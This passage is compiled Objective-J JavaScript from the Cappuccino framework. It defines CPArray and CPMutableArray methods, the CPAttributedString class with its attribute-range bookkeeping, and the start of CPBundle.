}),new objj_method(sel_getUid("isEqual:"),function(_9a,_9b,_9c){
with(_9a){
if(_9a===_9c){
return YES;
}
if(!objj_msgSend(_9c,"isKindOfClass:",objj_msgSend(CPArray,"class"))){
return NO;
}
return objj_msgSend(_9a,"isEqualToArray:",_9c);
}
}),new objj_method(sel_getUid("arrayByAddingObject:"),function(_9d,_9e,_9f){
with(_9d){
var _a0=objj_msgSend(_9d,"copy");
_a0.push(_9f);
return _a0;
}
}),new objj_method(sel_getUid("arrayByAddingObjectsFromArray:"),function(_a1,_a2,_a3){
with(_a1){
return slice(0).concat(_a3);
}
}),new objj_method(sel_getUid("subarrayWithRange:"),function(_a4,_a5,_a6){
with(_a4){
if(_a6.location<0||CPMaxRange(_a6)>length){
objj_msgSend(CPException,"raise:reason:",CPRangeException,"subarrayWithRange: aRange out of bounds");
}
return slice(_a6.location,CPMaxRange(_a6));
}
}),new objj_method(sel_getUid("sortedArrayUsingDescriptors:"),function(_a7,_a8,_a9){
with(_a7){
var _aa=objj_msgSend(_a7,"copy");
objj_msgSend(_aa,"sortUsingDescriptors:",_a9);
return _aa;
}
}),new objj_method(sel_getUid("sortedArrayUsingFunction:"),function(_ab,_ac,_ad){
with(_ab){
return objj_msgSend(_ab,"sortedArrayUsingFunction:context:",_ad,nil);
}
}),new objj_method(sel_getUid("sortedArrayUsingFunction:context:"),function(_ae,_af,_b0,_b1){
with(_ae){
var _b2=objj_msgSend(_ae,"copy");
objj_msgSend(_b2,"sortUsingFunction:context:",_b0,_b1);
return _b2;
}
}),new objj_method(sel_getUid("sortedArrayUsingSelector:"),function(_b3,_b4,_b5){
with(_b3){
var _b6=objj_msgSend(_b3,"copy");
objj_msgSend(_b6,"sortUsingSelector:",_b5);
return _b6;
}
}),new objj_method(sel_getUid("componentsJoinedByString:"),function(_b7,_b8,_b9){
with(_b7){
return join(_b9);
}
}),new objj_method(sel_getUid("description"),function(_ba,_bb){
with(_ba){
var _bc=0,_bd=objj_msgSend(_ba,"count"),_be="(";
for(;_bc<_bd;++_bc){
if(_bc===0){
_be+="\n";
}
var _bf=objj_msgSend(_ba,"objectAtIndex:",_bc),_c0=_bf&&_bf.isa?objj_msgSend(_bf,"description"):String(_bf);
_be+="\t"+_c0.split("\n").join("\n\t");
if(_bc!==_bd-1){
_be+=", ";
}
_be+="\n";
}
return _be+")";
}
}),new objj_method(sel_getUid("pathsMatchingExtensions:"),function(_c1,_c2,_c3){
with(_c1){
var _c4=0,_c5=objj_msgSend(_c1,"count"),_c6=[];
for(;_c4<_c5;++_c4){
if(_c1[_c4].isa&&objj_msgSend(_c1[_c4],"isKindOfClass:",objj_msgSend(CPString,"class"))&&objj_msgSend(_c3,"containsObject:",objj_msgSend(_c1[_c4],"pathExtension"))){
_c6.push(_c1[_c4]);
}
}
return _c6;
}
}),new objj_method(sel_getUid("setValue:forKey:"),function(_c7,_c8,_c9,_ca){
with(_c7){
var i=0,_cb=objj_msgSend(_c7,"count");
for(;i<_cb;++i){
objj_msgSend(_c7[i],"setValue:forKey:",_c9,_ca);
}
}
}),new objj_method(sel_getUid("valueForKey:"),function(_cc,_cd,_ce){
with(_cc){
var i=0,_cf=objj_msgSend(_cc,"count"),_d0=[];
for(;i<_cf;++i){
_d0.push(objj_msgSend(_cc[i],"valueForKey:",_ce));
}
return _d0;
}
}),new objj_method(sel_getUid("copy"),function(_d1,_d2){
with(_d1){
return slice(0);
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("alloc"),function(_d3,_d4){
with(_d3){
return [];
}
}),new objj_method(sel_getUid("array"),function(_d5,_d6){
with(_d5){
return objj_msgSend(objj_msgSend(_d5,"alloc"),"init");
}
}),new objj_method(sel_getUid("arrayWithArray:"),function(_d7,_d8,_d9){
with(_d7){
return objj_msgSend(objj_msgSend(_d7,"alloc"),"initWithArray:",_d9);
}
}),new objj_method(sel_getUid("arrayWithObject:"),function(_da,_db,_dc){
with(_da){
return objj_msgSend(objj_msgSend(_da,"alloc"),"initWithObjects:",_dc);
}
}),new objj_method(sel_getUid("arrayWithObjects:"),function(_dd,_de,_df){
with(_dd){
var i=2,_e0=objj_msgSend(objj_msgSend(_dd,"alloc"),"init"),_e1=arguments.length;
for(;i<_e1;++i){
_e0.push(arguments[i]);
}
return _e0;
}
}),new objj_method(sel_getUid("arrayWithObjects:count:"),function(_e2,_e3,_e4,_e5){
with(_e2){
return objj_msgSend(objj_msgSend(_e2,"alloc"),"initWithObjects:count:",_e4,_e5);
}
})]);
var _1=objj_getClass("CPArray");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPArray\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("initWithCapacity:"),function(_e6,_e7,_e8){
with(_e6){
return _e6;
}
}),new objj_method(sel_getUid("addObject:"),function(_e9,_ea,_eb){
with(_e9){
push(_eb);
}
}),new objj_method(sel_getUid("addObjectsFromArray:"),function(_ec,_ed,_ee){
with(_ec){
splice.apply(_ec,[length,0].concat(_ee));
}
}),new objj_method(sel_getUid("insertObject:atIndex:"),function(_ef,_f0,_f1,_f2){
with(_ef){
splice(_f2,0,_f1);
}
}),new objj_method(sel_getUid("insertObjects:atIndexes:"),function(_f3,_f4,_f5,_f6){
with(_f3){
var _f7=objj_msgSend(_f6,"count"),_f8=objj_msgSend(_f5,"count");
if(_f7!==_f8){
objj_msgSend(CPException,"raise:reason:",CPRangeException,"the counts of the passed-in array ("+_f8+") and index set ("+_f7+") must be identical.");
}
var _f9=objj_msgSend(_f6,"lastIndex");
if(_f9>=objj_msgSend(_f3,"count")+_f7){
objj_msgSend(CPException,"raise:reason:",CPRangeException,"the last index ("+_f9+") must be less than the sum of the original count ("+objj_msgSend(_f3,"count")+") and the insertion count ("+_f7+").");
}
var _fa=0,_fb=objj_msgSend(_f6,"firstIndex");
for(;_fa<_f8;++_fa,_fb=objj_msgSend(_f6,"indexGreaterThanIndex:",_fb)){
objj_msgSend(_f3,"insertObject:atIndex:",_f5[_fa],_fb);
}
}
}),new objj_method(sel_getUid("insertObject:inArraySortedByDescriptors:"),function(_fc,_fd,_fe,_ff){
with(_fc){
var _100=objj_msgSend(_ff,"count");
var _101=objj_msgSend(_fc,"_indexOfObject:sortedByFunction:context:",_fe,function(lhs,rhs){
var i=0,_102=CPOrderedSame;
while(i<_100){
if((_102=objj_msgSend(_ff[i++],"compareObject:withObject:",lhs,rhs))!=CPOrderedSame){
return _102;
}
}
return _102;
},nil);
if(_101<0){
_101=-_101-1;
}
objj_msgSend(_fc,"insertObject:atIndex:",_fe,_101);
return _101;
}
}),new objj_method(sel_getUid("replaceObjectAtIndex:withObject:"),function(self,_103,_104,_105){
with(self){
self[_104]=_105;
}
}),new objj_method(sel_getUid("replaceObjectsAtIndexes:withObjects:"),function(self,_106,_107,_108){
with(self){
var i=0,_109=objj_msgSend(_107,"firstIndex");
while(_109!=CPNotFound){
objj_msgSend(self,"replaceObjectAtIndex:withObject:",_109,_108[i++]);
_109=objj_msgSend(_107,"indexGreaterThanIndex:",_109);
}
}
}),new objj_method(sel_getUid("replaceObjectsInRange:withObjectsFromArray:range:"),function(self,_10a,_10b,_10c,_10d){
with(self){
if(!_10d.location&&_10d.length==objj_msgSend(_10c,"count")){
objj_msgSend(self,"replaceObjectsInRange:withObjectsFromArray:",_10b,_10c);
}else{
splice.apply(self,[_10b.location,_10b.length].concat(objj_msgSend(_10c,"subarrayWithRange:",_10d)));
}
}
}),new objj_method(sel_getUid("replaceObjectsInRange:withObjectsFromArray:"),function(self,_10e,_10f,_110){
with(self){
splice.apply(self,[_10f.location,_10f.length].concat(_110));
}
}),new objj_method(sel_getUid("setArray:"),function(self,_111,_112){
with(self){
if(self==_112){
return;
}
splice.apply(self,[0,length].concat(_112));
}
}),new objj_method(sel_getUid("removeAllObjects"),function(self,_113){
with(self){
splice(0,length);
}
}),new objj_method(sel_getUid("removeLastObject"),function(self,_114){
with(self){
pop();
}
}),new objj_method(sel_getUid("removeObject:"),function(self,_115,_116){
with(self){
objj_msgSend(self,"removeObject:inRange:",_116,CPMakeRange(0,length));
}
}),new objj_method(sel_getUid("removeObject:inRange:"),function(self,_117,_118,_119){
with(self){
var _11a;
while((_11a=objj_msgSend(self,"indexOfObject:inRange:",_118,_119))!=CPNotFound){
objj_msgSend(self,"removeObjectAtIndex:",_11a);
_119=CPIntersectionRange(CPMakeRange(_11a,length-_11a),_119);
}
}
}),new objj_method(sel_getUid("removeObjectAtIndex:"),function(self,_11b,_11c){
with(self){
splice(_11c,1);
}
}),new objj_method(sel_getUid("removeObjectsAtIndexes:"),function(self,_11d,_11e){
with(self){
var _11f=objj_msgSend(_11e,"lastIndex");
while(_11f!=CPNotFound){
objj_msgSend(self,"removeObjectAtIndex:",_11f);
_11f=objj_msgSend(_11e,"indexLessThanIndex:",_11f);
}
}
}),new objj_method(sel_getUid("removeObjectIdenticalTo:"),function(self,_120,_121){
with(self){
objj_msgSend(self,"removeObjectIdenticalTo:inRange:",_121,CPMakeRange(0,objj_msgSend(self,"count")));
}
}),new objj_method(sel_getUid("removeObjectIdenticalTo:inRange:"),function(self,_122,_123,_124){
with(self){
var _125,_126=objj_msgSend(self,"count");
while((_125=objj_msgSend(self,"indexOfObjectIdenticalTo:inRange:",_123,_124))!==CPNotFound){
objj_msgSend(self,"removeObjectAtIndex:",_125);
_124=CPIntersectionRange(CPMakeRange(_125,(--_126)-_125),_124);
}
}
}),new objj_method(sel_getUid("removeObjectsInArray:"),function(self,_127,_128){
with(self){
var _129=0,_12a=objj_msgSend(_128,"count");
for(;_129<_12a;++_129){
objj_msgSend(self,"removeObject:",_128[_129]);
}
}
}),new objj_method(sel_getUid("removeObjectsInRange:"),function(self,_12b,_12c){
with(self){
splice(_12c.location,_12c.length);
}
}),new objj_method(sel_getUid("exchangeObjectAtIndex:withObjectAtIndex:"),function(self,_12d,_12e,_12f){
with(self){
var _130=self[_12e];
self[_12e]=self[_12f];
self[_12f]=_130;
}
}),new objj_method(sel_getUid("sortUsingDescriptors:"),function(self,_131,_132){
with(self){
objj_msgSend(self,"sortUsingFunction:context:",_133,_132);
}
}),new objj_method(sel_getUid("sortUsingFunction:context:"),function(self,_134,_135,_136){
with(self){
var h,i,j,k,l,m,n=objj_msgSend(self,"count"),o;
var A,B=[];
for(h=1;h<n;h+=h){
for(m=n-1-h;m>=0;m-=h+h){
l=m-h+1;
if(l<0){
l=0;
}
for(i=0,j=l;j<=m;i++,j++){
B[i]=self[j];
}
for(i=0,k=l;k<j&&j<=m+h;k++){
A=self[j];
o=_135(A,B[i],_136);
if(o==CPOrderedDescending||o==CPOrderedSame){
self[k]=B[i++];
}else{
self[k]=A;
j++;
}
}
while(k<j){
self[k++]=B[i++];
}
}
}
}
}),new objj_method(sel_getUid("sortUsingSelector:"),function(self,_137,_138){
with(self){
objj_msgSend(self,"sortUsingFunction:context:",_139,_138);
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("arrayWithCapacity:"),function(self,_13a,_13b){
with(self){
return objj_msgSend(objj_msgSend(self,"alloc"),"initWithCapacity:",_13b);
}
})]);
var _139=_139=function(_13c,_13d,_13e){
return objj_msgSend(_13c,"performSelector:withObject:",_13e,_13d);
};
var _133=_133=function(lhs,rhs,_13f){
var _140=CPOrderedSame,i=0,n=objj_msgSend(_13f,"count");
while(i<n&&_140===CPOrderedSame){
_140=objj_msgSend(_13f[i++],"compareObject:withObject:",lhs,rhs);
}
return _140;
};
var _1=objj_getClass("CPArray");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPArray\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("initWithCoder:"),function(self,_141,_142){
with(self){
return objj_msgSend(_142,"decodeObjectForKey:","CP.objects");
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(self,_143,_144){
with(self){
objj_msgSend(_144,"_encodeArrayOfObjects:forKey:",self,"CP.objects");
}
})]);
var _1=objj_allocateClassPair(CPArray,"CPMutableArray"),_2=_1.isa;
objj_registerClassPair(_1);
Array.prototype.isa=CPArray;
objj_msgSend(CPArray,"initialize");
p;20;CPAttributedString.jt;12419;@STATIC;1.0;i;14;CPDictionary.ji;10;CPObject.ji;9;CPRange.ji;10;CPString.jt;12337;
objj_executeFile("CPDictionary.j",YES);
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPRange.j",YES);
objj_executeFile("CPString.j",YES);
var _1=objj_allocateClassPair(CPObject,"CPAttributedString"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_string"),new objj_ivar("_rangeEntries")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithString:"),function(_3,_4,_5){
with(_3){
return objj_msgSend(_3,"initWithString:attributes:",_5,nil);
}
}),new objj_method(sel_getUid("initWithAttributedString:"),function(_6,_7,_8){
with(_6){
var _9=objj_msgSend(_6,"initWithString:attributes:","",nil);
objj_msgSend(_9,"setAttributedString:",_8);
return _9;
}
}),new objj_method(sel_getUid("initWithString:attributes:"),function(_a,_b,_c,_d){
with(_a){
_a=objj_msgSendSuper({receiver:_a,super_class:objj_getClass("CPAttributedString").super_class},"init");
if(_a){
if(!_d){
_d=objj_msgSend(CPDictionary,"dictionary");
}
_string=""+_c;
_rangeEntries=[_e(CPMakeRange(0,_string.length),_d)];
}
return _a;
}
}),new objj_method(sel_getUid("string"),function(_f,_10){
with(_f){
return _string;
}
}),new objj_method(sel_getUid("mutableString"),function(_11,_12){
with(_11){
return objj_msgSend(_11,"string");
}
}),new objj_method(sel_getUid("length"),function(_13,_14){
with(_13){
return _string.length;
}
}),new objj_method(sel_getUid("_indexOfEntryWithIndex:"),function(_15,_16,_17){
with(_15){
if(_17<0||_17>_string.length||_17===undefined){
return CPNotFound;
}
var _18=function(_19,_1a){
if(CPLocationInRange(_19,_1a.range)){
return CPOrderedSame;
}else{
if(CPMaxRange(_1a.range)<=_19){
return CPOrderedDescending;
}else{
return CPOrderedAscending;
}
}
};
return objj_msgSend(_rangeEntries,"indexOfObject:sortedByFunction:",_17,_18);
}
}),new objj_method(sel_getUid("attributesAtIndex:effectiveRange:"),function(_1b,_1c,_1d,_1e){
with(_1b){
var _1f=objj_msgSend(_1b,"_indexOfEntryWithIndex:",_1d);
if(_1f==CPNotFound){
return nil;
}
var _20=_rangeEntries[_1f];
if(_1e){
_1e.location=_20.range.location;
_1e.length=_20.range.length;
}
return _20.attributes;
}
}),new objj_method(sel_getUid("attributesAtIndex:longestEffectiveRange:inRange:"),function(_21,_22,_23,_24,_25){
with(_21){
var _26=objj_msgSend(_21,"_indexOfEntryWithIndex:",_23);
if(_26==CPNotFound){
return nil;
}
if(!_24){
return _rangeEntries[_26].attributes;
}
if(CPRangeInRange(_rangeEntries[_26].range,_25)){
_24.location=_25.location;
_24.length=_25.length;
return _rangeEntries[_26].attributes;
}
var _27=_26-1,_28=_rangeEntries[_26],_29=_28.attributes;
while(_27>=0){
var _2a=_rangeEntries[_27];
if(CPMaxRange(_2a.range)>_25.location&&objj_msgSend(_2a.attributes,"isEqualToDictionary:",_29)){
_28=_2a;
_27--;
}else{
break;
}
}
_24.location=MAX(_28.range.location,_25.location);
_28=_rangeEntries[_26];
_27=_26+1;
while(_27<_rangeEntries.length){
var _2a=_rangeEntries[_27];
if(_2a.range.location<CPMaxRange(_25)&&objj_msgSend(_2a.attributes,"isEqualToDictionary:",_29)){
_28=_2a;
_27++;
}else{
break;
}
}
_24.length=MIN(CPMaxRange(_28.range),CPMaxRange(_25))-_24.location;
return _29;
}
}),new objj_method(sel_getUid("attribute:atIndex:effectiveRange:"),function(_2b,_2c,_2d,_2e,_2f){
with(_2b){
if(!_2d){
if(_2f){
_2f.location=0;
_2f.length=_string.length;
}
return nil;
}
return objj_msgSend(objj_msgSend(_2b,"attributesAtIndex:effectiveRange:",_2e,_2f),"valueForKey:",_2d);
}
}),new objj_method(sel_getUid("attribute:atIndex:longestEffectiveRange:inRange:"),function(_30,_31,_32,_33,_34,_35){
with(_30){
var _36=objj_msgSend(_30,"_indexOfEntryWithIndex:",_33);
if(_36==CPNotFound||!_32){
return nil;
}
if(!_34){
return objj_msgSend(_rangeEntries[_36].attributes,"objectForKey:",_32);
}
if(CPRangeInRange(_rangeEntries[_36].range,_35)){
_34.location=_35.location;
_34.length=_35.length;
return objj_msgSend(_rangeEntries[_36].attributes,"objectForKey:",_32);
}
var _37=_36-1,_38=_rangeEntries[_36],_39=objj_msgSend(_38.attributes,"objectForKey:",_32);
while(_37>=0){
var _3a=_rangeEntries[_37];
if(CPMaxRange(_3a.range)>_35.location&&_3b(_39,objj_msgSend(_3a.attributes,"objectForKey:",_32))){
_38=_3a;
_37--;
}else{
break;
}
}
_34.location=MAX(_38.range.location,_35.location);
_38=_rangeEntries[_36];
_37=_36+1;
while(_37<_rangeEntries.length){
var _3a=_rangeEntries[_37];
if(_3a.range.location<CPMaxRange(_35)&&_3b(_39,objj_msgSend(_3a.attributes,"objectForKey:",_32))){
_38=_3a;
_37++;
}else{
break;
}
}
_34.length=MIN(CPMaxRange(_38.range),CPMaxRange(_35))-_34.location;
return _39;
}
}),new objj_method(sel_getUid("isEqualToAttributedString:"),function(_3c,_3d,_3e){
with(_3c){
if(!_3e){
return NO;
}
if(_string!=objj_msgSend(_3e,"string")){
return NO;
}
var _3f=CPMakeRange(),_40=CPMakeRange(),_41=objj_msgSend(_3c,"attributesAtIndex:effectiveRange:",0,_3f),_42=objj_msgSend(_3e,"attributesAtIndex:effectiveRange:",0,_40),_43=_string.length;
while(CPMaxRange(CPUnionRange(_3f,_40))<_43){
if(CPIntersectionRange(_3f,_40).length>0&&!objj_msgSend(_41,"isEqualToDictionary:",_42)){
return NO;
}
if(CPMaxRange(_3f)<CPMaxRange(_40)){
_41=objj_msgSend(_3c,"attributesAtIndex:effectiveRange:",CPMaxRange(_3f),_3f);
}else{
_42=objj_msgSend(_3e,"attributesAtIndex:effectiveRange:",CPMaxRange(_40),_40);
}
}
return YES;
}
}),new objj_method(sel_getUid("isEqual:"),function(_44,_45,_46){
with(_44){
if(_46==_44){
return YES;
}
if(objj_msgSend(_46,"isKindOfClass:",objj_msgSend(_44,"class"))){
return objj_msgSend(_44,"isEqualToAttributedString:",_46);
}
return NO;
}
}),new objj_method(sel_getUid("attributedSubstringFromRange:"),function(_47,_48,_49){
with(_47){
if(!_49||CPMaxRange(_49)>_string.length||_49.location<0){
objj_msgSend(CPException,"raise:reason:",CPRangeException,"tried to get attributedSubstring for an invalid range: "+(_49?CPStringFromRange(_49):"nil"));
}
var _4a=objj_msgSend(objj_msgSend(CPAttributedString,"alloc"),"initWithString:",_string.substring(_49.location,CPMaxRange(_49))),_4b=objj_msgSend(_47,"_indexOfEntryWithIndex:",_49.location),_4c=_rangeEntries[_4b],_4d=CPMaxRange(_49);
_4a._rangeEntries=[];
while(_4c&&CPMaxRange(_4c.range)<_4d){
var _4e=_4f(_4c);
_4e.range.location-=_49.location;
if(_4e.range.location<0){
_4e.range.length+=_4e.range.location;
_4e.range.location=0;
}
_4a._rangeEntries.push(_4e);
_4c=_rangeEntries[++_4b];
}
if(_4c){
var _50=_4f(_4c);
_50.range.length=CPMaxRange(_49)-_50.range.location;
_50.range.location-=_49.location;
if(_50.range.location<0){
_50.range.length+=_50.range.location;
_50.range.location=0;
}
_4a._rangeEntries.push(_50);
}
return _4a;
}
}),new objj_method(sel_getUid("replaceCharactersInRange:withString:"),function(_51,_52,_53,_54){
with(_51){
if(!_54){
_54="";
}
var _55=objj_msgSend(_51,"_indexOfEntryWithIndex:",_53.location),_56=_rangeEntries[_55],_57=objj_msgSend(_51,"_indexOfEntryWithIndex:",MAX(CPMaxRange(_53)-1,0)),_58=_rangeEntries[_57],_59=_54.length-_53.length;
_string=_string.substring(0,_53.location)+_54+_string.substring(CPMaxRange(_53));
if(_55==_57){
_56.range.length+=_59;
}else{
_58.range.length=CPMaxRange(_58.range)-CPMaxRange(_53);
_58.range.location=CPMaxRange(_53);
_56.range.length=CPMaxRange(_53)-_56.range.location;
_rangeEntries.splice(_55,_57-_55);
}
_57=_55+1;
while(_57<_rangeEntries.length){
_rangeEntries[_57++].range.location+=_59;
}
}
}),new objj_method(sel_getUid("deleteCharactersInRange:"),function(_5a,_5b,_5c){
with(_5a){
objj_msgSend(_5a,"replaceCharactersInRange:withString:",_5c,nil);
}
}),new objj_method(sel_getUid("setAttributes:range:"),function(_5d,_5e,_5f,_60){
with(_5d){
var _61=objj_msgSend(_5d,"_indexOfRangeEntryForIndex:splitOnMaxIndex:",_60.location,YES),_62=objj_msgSend(_5d,"_indexOfRangeEntryForIndex:splitOnMaxIndex:",CPMaxRange(_60),YES),_63=_61;
if(_62==CPNotFound){
_62=_rangeEntries.length;
}
while(_63<_62){
_rangeEntries[_63++].attributes=objj_msgSend(_5f,"copy");
}
objj_msgSend(_5d,"_coalesceRangeEntriesFromIndex:toIndex:",_61,_62);
}
}),new objj_method(sel_getUid("addAttributes:range:"),function(_64,_65,_66,_67){
with(_64){
var _68=objj_msgSend(_64,"_indexOfRangeEntryForIndex:splitOnMaxIndex:",_67.location,YES),_69=objj_msgSend(_64,"_indexOfRangeEntryForIndex:splitOnMaxIndex:",CPMaxRange(_67),YES),_6a=_68;
if(_69==CPNotFound){
_69=_rangeEntries.length;
}
while(_6a<_69){
var _6b=objj_msgSend(_66,"allKeys"),_6c=objj_msgSend(_6b,"count");
while(_6c--){
objj_msgSend(_rangeEntries[_6a].attributes,"setObject:forKey:",objj_msgSend(_66,"objectForKey:",_6b[_6c]),_6b[_6c]);
}
_6a++;
}
objj_msgSend(_64,"_coalesceRangeEntriesFromIndex:toIndex:",_68,_69);
}
}),new objj_method(sel_getUid("addAttribute:value:range:"),function(_6d,_6e,_6f,_70,_71){
with(_6d){
objj_msgSend(_6d,"addAttributes:range:",objj_msgSend(CPDictionary,"dictionaryWithObject:forKey:",_70,_6f),_71);
}
}),new objj_method(sel_getUid("removeAttribute:range:"),function(_72,_73,_74,_75){
with(_72){
var _76=objj_msgSend(_72,"_indexOfRangeEntryForIndex:splitOnMaxIndex:",_75.location,YES),_77=objj_msgSend(_72,"_indexOfRangeEntryForIndex:splitOnMaxIndex:",CPMaxRange(_75),YES),_78=_76;
if(_77==CPNotFound){
_77=_rangeEntries.length;
}
while(_78<_77){
objj_msgSend(_rangeEntries[_78++].attributes,"removeObjectForKey:",_74);
}
objj_msgSend(_72,"_coalesceRangeEntriesFromIndex:toIndex:",_76,_77);
}
}),new objj_method(sel_getUid("appendAttributedString:"),function(_79,_7a,_7b){
with(_79){
objj_msgSend(_79,"insertAttributedString:atIndex:",_7b,_string.length);
}
}),new objj_method(sel_getUid("insertAttributedString:atIndex:"),function(_7c,_7d,_7e,_7f){
with(_7c){
if(_7f<0||_7f>objj_msgSend(_7c,"length")){
objj_msgSend(CPException,"raise:reason:",CPRangeException,"tried to insert attributed string at an invalid index: "+_7f);
}
var _80=objj_msgSend(_7c,"_indexOfRangeEntryForIndex:splitOnMaxIndex:",_7f,YES),_81=_7e._rangeEntries,_82=objj_msgSend(_7e,"length");
if(_80==CPNotFound){
_80=_rangeEntries.length;
}
_string=_string.substring(0,_7f)+_7e._string+_string.substring(_7f);
var _83=_80;
while(_83<_rangeEntries.length){
_rangeEntries[_83++].range.location+=_82;
}
var _84=_81.length,_85=0;
while(_85<_84){
var _86=_4f(_81[_85++]);
_86.range.location+=_7f;
_rangeEntries.splice(_80-1+_85,0,_86);
}
}
}),new objj_method(sel_getUid("replaceCharactersInRange:withAttributedString:"),function(_87,_88,_89,_8a){
with(_87){
objj_msgSend(_87,"deleteCharactersInRange:",_89);
objj_msgSend(_87,"insertAttributedString:atIndex:",_8a,_89.location);
}
}),new objj_method(sel_getUid("setAttributedString:"),function(_8b,_8c,_8d){
with(_8b){
_string=_8d._string;
_rangeEntries=[];
var i=0,_8e=_8d._rangeEntries.length;
for(;i<_8e;i++){
_rangeEntries.push(_4f(_8d._rangeEntries[i]));
}
}
}),new objj_method(sel_getUid("_indexOfRangeEntryForIndex:splitOnMaxIndex:"),function(_8f,_90,_91,_92){
with(_8f){
var _93=objj_msgSend(_8f,"_indexOfEntryWithIndex:",_91);
if(_93<0){
return _93;
}
var _94=_rangeEntries[_93];
if(_94.range.location==_91||(CPMaxRange(_94.range)-1==_91&&!_92)){
return _93;
}
var _95=splitRangeEntryAtIndex(_94,_91);
_rangeEntries.splice(_93,1,_95[0],_95[1]);
_93++;
return _93;
}
}),new objj_method(sel_getUid("_coalesceRangeEntriesFromIndex:toIndex:"),function(_96,_97,_98,end){
with(_96){
var _99=_98;
if(end>=_rangeEntries.length){
end=_rangeEntries.length-1;
}
while(_99<end){
var a=_rangeEntries[_99],b=_rangeEntries[_99+1];
if(objj_msgSend(a.attributes,"isEqualToDictionary:",b.attributes)){
a.range.length=CPMaxRange(b.range)-a.range.location;
_rangeEntries.splice(_99+1,1);
end--;
}else{
_99++;
}
}
}
}),new objj_method(sel_getUid("beginEditing"),function(_9a,_9b){
with(_9a){
}
}),new objj_method(sel_getUid("endEditing"),function(_9c,_9d){
with(_9c){
}
})]);
var _1=objj_allocateClassPair(CPAttributedString,"CPMutableAttributedString"),_2=_1.isa;
objj_registerClassPair(_1);
var _3b=_3b=function(a,b){
if(a==b){
return YES;
}
if(objj_msgSend(a,"respondsToSelector:",sel_getUid("isEqual:"))&&objj_msgSend(a,"isEqual:",b)){
return YES;
}
return NO;
};
var _e=_e=function(_9e,_9f){
return {range:_9e,attributes:objj_msgSend(_9f,"copy")};
};
var _4f=_4f=function(_a0){
return _e(CPCopyRange(_a0.range),objj_msgSend(_a0.attributes,"copy"));
};
var _a1=splitRangeEntryAtIndex=function(_a2,_a3){
var _a4=_4f(_a2),_a5=CPMaxRange(_a2.range);
_a2.range.length=_a3-_a2.range.location;
_a4.range.location=_a3;
_a4.range.length=_a5-_a3;
_a4.attributes=objj_msgSend(_a4.attributes,"copy");
return [_a2,_a4];
};
p;10;CPBundle.jt;3820;@STATIC;1.0;i;14;CPDictionary.ji;10;CPObject.jt;3767;
objj_executeFile("CPDictionary.j",YES);
objj_executeFile("CPObject.j",YES);
var _1={};
var _2=objj_allocateClassPair(CPObject,"CPBundle"),_3=_2.isa;
class_addIvars(_2,[new objj_ivar("_bundle"),new objj_ivar("_delegate")]);
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("initWithURL:"),function(_4,_5,_6){
with(_4){
_6=new CFURL(_6);
var _7=_6.absoluteString(),_8=_1[_7];
if(_8){
return _8;
}
_4=objj_msgSendSuper({receiver:_4,super_class:objj_getClass("CPBundle").super_class},"init");
if(_4){
_bundle=new CFBundle(_6);
_1[_7]=_4;
}
return _4;
}
}),new objj_method(sel_getUid("initWithPath:"),function(_9,_a,_b){
with(_9){
return objj_msgSend(_9,"initWithURL:",_b);
}
}),new objj_method(sel_getUid("classNamed:"),function(_c,_d,_e){
with(_c){
}
}),new objj_method(sel_getUid("bundleURL"),function(_f,_10){
with(_f){
return _bundle.bundleURL();
}
}),new objj_method(sel_getUid("bundlePath"),function(_11,_12){
with(_11){
return objj_msgSend(objj_msgSend(_11,"bundleURL"),"path");
}
}),new objj_method(sel_getUid("resourcePath"),function(_13,_14){
with(_13){
return objj_msgSend(objj_msgSend(_13,"resourceURL"),"path");
}
}),new objj_method(sel_getUid("resourceURL"),function(_15,_16){
with(_15){
return _bundle.resourcesDirectoryURL();
}
}),new objj_method(sel_getUid("principalClass"),function(_17,_18){
with(_17){
var _19=objj_msgSend(_17,"objectForInfoDictionaryKey:","CPPrincipalClass");
return _19?CPClassFromString(_19):Nil;
}
}),new objj_method(sel_getUid("bundleIdentifier"),function(_1a,_1b){
with(_1a){
return objj_msgSend(_1a,"objectForInfoDictionaryKey:","CPBundleIdentifier");
}
}),new objj_method(sel_getUid("isLoaded"),function(_1c,_1d){
with(_1c){
return _bundle.isLoaded();
}
}),new objj_method(sel_getUid("pathForResource:"),function(_1e,_1f,_20){
with(_1e){
return _bundle.pathForResource(_20);
}
}),new objj_method(sel_getUid("infoDictionary"),function(_21,_22){
with(_21){
return _bundle.infoDictionary();
}
}),new objj_method(sel_getUid("objectForInfoDictionaryKey:"),function(_23,_24,_25){
with(_23){
return _bundle.valueForInfoDictionaryKey(_25);
}
}),new objj_method(sel_getUid("loadWithDelegate:"),function(_26,_27,_28){
with(_26){
_delegate=_28;
_bundle.addEventListener("load",function(){
objj_msgSend(_delegate,"bundleDidFinishLoading:",_26);
});
_bundle.addEventListener("error",function(){
CPLog.error("Could not find bundle: "+_26);
});
_bundle.load(YES);
}
}),new objj_method(sel_getUid("staticResourceURLs"),function(_29,_2a){
with(_29){
var _2b=[],_2c=_bundle.staticResources(),_2d=0,_2e=objj_msgSend(_2c,"count");
for(;_2d<_2e;++_2d){
objj_msgSend(_2b,"addObject:",_2c[_2d].URL());
}
return _2b;
}
}),new objj_method(sel_getUid("environments"),function(_2f,_30){
with(_2f){
return _bundle.environments();
}
}),new objj_method(sel_getUid("mostEligibleEnvironment"),function(_31,_32){
with(_31){
return _bundle.mostEligibleEnvironment();
}
}),new objj_method(sel_getUid("description"),function(_33,_34){
with(_33){
return objj_msgSendSuper({receiver:_33,super_class:objj_getClass("CPBundle").super_class},"description")+"("+objj_msgSend(_33,"bundlePath")+")";
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("bundleWithURL:"),function(_35,_36,_37){
with(_35){
return objj_msgSend(objj_msgSend(_35,"alloc"),"initWithURL:",_37);
}
}),new objj_method(sel_getUid("bundleWithPath:"),function(_38,_39,_3a){
with(_38){
return objj_msgSend(_38,"bundleWithURL:",_3a);
}
